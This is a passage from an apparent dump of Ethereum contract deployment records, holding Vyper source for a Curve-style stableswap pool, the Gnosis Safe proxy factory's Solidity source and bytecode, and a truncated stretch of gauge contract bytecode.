_value: uint256): # # NOTE: vyper does not allow underflows # # so the following subtraction would revert on insufficient balance self.balanceOf[_from] -= _value self.balanceOf[_to] += _value log Transfer(_from, _to, _value) @internal def _burnFrom(_from: address, _burn_amount: uint256): self.total_supply -= _burn_amount self.balanceOf[_from] -= _burn_amount log Transfer(_from, empty(address), _burn_amount) @external def transfer(_to : address, _value : uint256) -> bool: """ @dev Transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def transferFrom(_from : address, _to : address, _value : uint256) -> bool: """ @dev Transfer tokens from one address to another. @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ self._transfer(_from, _to, _value) _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): _new_allowance: uint256 = _allowance - _value self.allowance[_from][msg.sender] = _new_allowance log Approval(_from, msg.sender, _new_allowance) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) assert block.timestamp <= _deadline nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256(_abi_encode(EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline)) ) ) if _owner.is_contract: sig: Bytes[65] = concat(_abi_encode(_r, _s), slice(convert(_v, bytes32), 31, 1)) # reentrancy not a concern since this is a staticcall assert ERC1271(_owner).isValidSignature(digest, sig) == ERC1271_MAGIC_VAL else: assert ecrecover(digest, convert(_v, uint256), convert(_r, uint256), convert(_s, uint256)) == _owner self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. @return bytes32 Domain Separator set for the current chain. """ return self._domain_separator() # ------------------------- AMM View Functions ------------------------------- @view @external def get_dx(i: int128, j: int128, dy: uint256) -> uint256: """ @notice Calculate the current input dx given output dy @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param dy Amount of `j` being received after exchange @return Amount of `i` predicted """ return StableSwapViews(factory.views_implementation()).get_dx(i, j, dy, self) @view @external def get_dy(i: int128, j: int128, dx: uint256) -> uint256: """ @notice Calculate the current output dy given input dx @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param dx Amount of `i` being exchanged @return Amount of `j` predicted """ return StableSwapViews(factory.views_implementation()).get_dy(i, j, dx, self) @view @external def calc_withdraw_one_coin(_burn_amount: uint256, i: int128) -> uint256: """ @notice Calculate the amount received when withdrawing a single coin @param _burn_amount Amount of LP tokens to burn in the withdrawal @param i Index value of the coin to withdraw @return Amount of coin received """ return self._calc_withdraw_one_coin(_burn_amount, i)[0] @view @external @nonreentrant('lock') def totalSupply() -> uint256: """ @notice The total supply of pool LP tokens @return self.total_supply, 18 decimals. """ return self.total_supply @view @external @nonreentrant('lock') def get_virtual_price() -> uint256: """ @notice The current virtual price of the pool LP token @dev Useful for calculating profits. The method may be vulnerable to donation-style attacks if implementation contains rebasing tokens. For integrators, caution is advised. @return LP token virtual price normalized to 1e18 """ amp: uint256 = self._A() xp: DynArray[uint256, MAX_COINS] = self._xp_mem( self._stored_rates(), self._balances() ) D: uint256 = self.get_D(xp, amp) # D is in the units similar to DAI (e.g. converted to precision 1e18) # When balanced, D = n * x_u - total virtual value of the portfolio return D * PRECISION / self.total_supply @view @external def calc_token_amount( _amounts: DynArray[uint256, MAX_COINS], _is_deposit: bool ) -> uint256: """ @notice Calculate addition or reduction in token supply from a deposit or withdrawal @param _amounts Amount of each coin being deposited @param _is_deposit set True for deposits, False for withdrawals @return Expected amount of LP tokens received """ return StableSwapViews(factory.views_implementation()).calc_token_amount(_amounts, _is_deposit, self) @view @external def A() -> uint256: return unsafe_div(self._A(), A_PRECISION) @view @external def A_precise() -> uint256: return self._A() @view @external def balances(i: uint256) -> uint256: """ @notice Get the current balance of a coin within the pool, less the accrued admin fees @param i Index value for the coin to query balance of @return Token balance """ return self._balances()[i] @view @external def get_balances() -> DynArray[uint256, MAX_COINS]: return self._balances() @view @external def stored_rates() -> DynArray[uint256, MAX_COINS]: return self._stored_rates() @view @external def dynamic_fee(i: int128, j: int128) -> uint256: """ @notice Return the fee for swapping between `i` and `j` @param i Index value for the coin to send @param j Index value of the coin to receive @return Swap fee expressed as an integer with 1e10 precision """ return StableSwapViews(factory.views_implementation()).dynamic_fee(i, j, self) # --------------------------- AMM Admin Functions ---------------------------- @external def ramp_A(_future_A: uint256, _future_time: uint256): assert msg.sender == factory.admin() # dev: only owner assert block.timestamp >= self.initial_A_time + MIN_RAMP_TIME assert _future_time >= block.timestamp + MIN_RAMP_TIME # dev: insufficient time _initial_A: uint256 = self._A() _future_A_p: uint256 = _future_A * A_PRECISION assert _future_A > 0 and _future_A < MAX_A if _future_A_p < _initial_A: assert _future_A_p * MAX_A_CHANGE >= _initial_A else: assert _future_A_p <= _initial_A * MAX_A_CHANGE self.initial_A = _initial_A self.future_A = _future_A_p self.initial_A_time = block.timestamp self.future_A_time = _future_time log RampA(_initial_A, _future_A_p, block.timestamp, _future_time) @external def stop_ramp_A(): assert msg.sender == factory.admin() # dev: only owner current_A: uint256 = self._A() self.initial_A = current_A self.future_A = current_A self.initial_A_time = block.timestamp self.future_A_time = block.timestamp # now (block.timestamp < t1) is always False, so we return saved A log StopRampA(current_A, block.timestamp) @external def set_new_fee(_new_fee: uint256, _new_offpeg_fee_multiplier: uint256): assert msg.sender == factory.admin() # set new fee: assert _new_fee <= MAX_FEE self.fee = _new_fee # set new offpeg_fee_multiplier: assert _new_offpeg_fee_multiplier * _new_fee <= MAX_FEE * FEE_DENOMINATOR # dev: offpeg multiplier exceeds maximum self.offpeg_fee_multiplier = _new_offpeg_fee_multiplier log ApplyNewFee(_new_fee, _new_offpeg_fee_multiplier) @external def set_ma_exp_time(_ma_exp_time: uint256, _D_ma_time: uint256): """ @notice Set the moving average window of the price oracles. @param _ma_exp_time Moving average window for the price oracle. It is time_in_seconds / ln(2). @param _D_ma_time Moving average window for the D oracle. It is time_in_seconds / ln(2). """ assert msg.sender == factory.admin() # dev: only owner assert unsafe_mul(_ma_exp_time, _D_ma_time) > 0 # dev: 0 in input values self.ma_exp_time = _ma_exp_time self.D_ma_time = _D_ma_time log SetNewMATime(_ma_exp_time, _D_ma_time)
1
19,493,332
50027cb8572045c499704df604cbb8657185e872af87e5bf5f52e66b5a9bc851
4f3d4cd3060974e4b7f68f30764d9482f666f726308dffce05901b3c6374b46c
7a168efd6d25fc61e114039eb76d14f71f6edb33
a6b71e26c5e0845f74c812102ca7114b6a896ab2
9e6edf35e20a4dc0411cde46c5ac60b2ef30d300
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f76696465640000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,334
2efcc577d389590e3adc33cc661b2910e00c67ab32d78ef23d1a467cc3f9460c
6eff278019ae70c912ce93b53236d95c7dc97a00f2d005129a05432e560763b3
994d5147c315b31f997d8d24b0f8ce7a9557ad31
6a8cbed756804b16e05e741edabd5cb544ae21bf
319b3ec2945ee430d8418ae6e9e1e6f8abbbb754
6129c551503461035a576020612cd95f395f518060a01c61035a57604052604051600d5533600b5532600c556040516395d89b4160a052606060a0600460bc845afa61004d573d5f5f3e3d5ffd5b60403d1061035a5760a05160a001602081511161035a5780516101205260208101516101405250610120905080516060526020810151608052505f6009610100527f43757276652e666920000000000000000000000000000000000000000000000061012052610100805160208201836101a00181518152505080830192505050606051816101a001608051815250808201915050600e610140527f204761756765204465706f73697400000000000000000000000000000000000061016052610140805160208201836101a001815181525050808301925050508061018052610180905060208151018060a0828460045afa505050602060a051015f81601f0160051c6003811161035a57801561017957905b8060051b60a001518160040155600101818118610161575b5050505f60605181610160016080518152508082019150506006610100527f2d67617567650000000000000000000000000000000000000000000000000000610120526101008051602082018361016001815181525050808301925050508061014052610140905060208151015f81601f0160051c6003811161035a57801561021557905b8060051b84015181600701556001018181186101fe575b505050504260235563b26b238e610100526020610100600461011c5f73d533a949740bb3306d119cc777fa900ba034cd525af1610254573d5f5f3e3d5ffd5b60203d1061035a576101005160d81b632c4e722e610140526020610140600461015c73d533a949740bb3306d119cc777fa900ba034cd525afa610299573d5f5f3e3d5ffd5b60203d1061035a576101405180820182811061035a5790509050600f5560a05160c0206129655260014303406129a55246612985527f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6101205261296551610140527f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb2466610160524661018052306101a0526129a5516101c05260c0610100526101008051602082012090506129c55261296561035e610000396129e5610000f35b5f80fd5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c2fce08118155b9050156128e15761028051604052611421611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526114496125c3565b60016102a05260206102a0f3611c2d565b63bdf981168118611c2d576024361034176128e1576004358060a01c6128e1576040526040516012336020525f5260405f205500611c2d565b63aace1d488118611c2d576024361034176128e1576004358060a01c6128e15760405233600c5481186114c757600161150a565b600b5463f851a44060c052602060c0600460dc845afa6114e9573d5f5f3e3d5ffd5b60203d106128e15760c0518060a01c6128e157610100526101009050518118155b9050156128e157604051600c557fe83c80a0349150991cb09b4c940149ac4c37cb03673b6c0c669b4da27865c28b60405160605260206060a100611c2d565b6393f7aa67811861156b576044361034176128e15762093a80610300526115a7565b63313ce5678118611c2d57346128e157601260405260206040f3611c2d565b6333b50aed8118611826576064361034176128e157604435610300525b6004358060a01c6128e1576102e0525f546002146128e15760025f5560116102e0516020525f5260405f206001810190505433186128e1575f6040526002546060526040366080376115f76121f9565b6102e0516370a082316103405230610360526020610340602461035c845afa611622573d5f5f3e3d5ffd5b60203d106128e157610340905051610320526102e0516323b872dd61034052336103605230610380526024356103a0526020610340606461035c5f855af161166c573d5f5f3e3d5ffd5b3d61168357803b156128e15760016103c05261169c565b60203d106128e157610340518060011c6128e1576103c0525b6103c0905051156128e1576102e0516370a082316103405230610360526020610340602461035c845afa6116d2573d5f5f3e3d5ffd5b60203d106128e157610340905051610320518082038281116128e157905090506103205260116102e0516020525f5260405f206002810190505461034052610300516103205111156128e157610340514210156117b45761034051428082038281116128e15790509050610360526103605160116102e0516020525f5260405f20600381019050548082028115838383041417156128e157905090506103805261032051610380518082018281106128e157905090506103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050556117e0565b610320516103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050555b4260116102e0516020525f5260405f206004810190505542610300518082018281106128e1579050905060116102e0516020525f5260405f206002810190505560035f55005b63d31f3f6d8118611c2d57346128e157601a546c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f3611c2d565b63058a3a248118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116040516020525f5260405f20600181019050546080523360805181186118b857600161190f565b600b5463f851a440610100526020610100600461011c845afa6118dd573d5f5f3e3d5ffd5b60203d106128e157610100518060a01c6128e15761014052610140905051811861190857600161190f565b600c548118155b9050156128e157608051156128e157606051156128e15760605160116040516020525f5260405f206001810190505500611c2d565b63e77e74378118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260146040516020525f5260405f20806060516020525f5260405f209050546fffffffffffffffffffffffffffffffff8116905060805260206080f3611c2d565b6333fd6f748118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116060516020525f5260405f206005810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81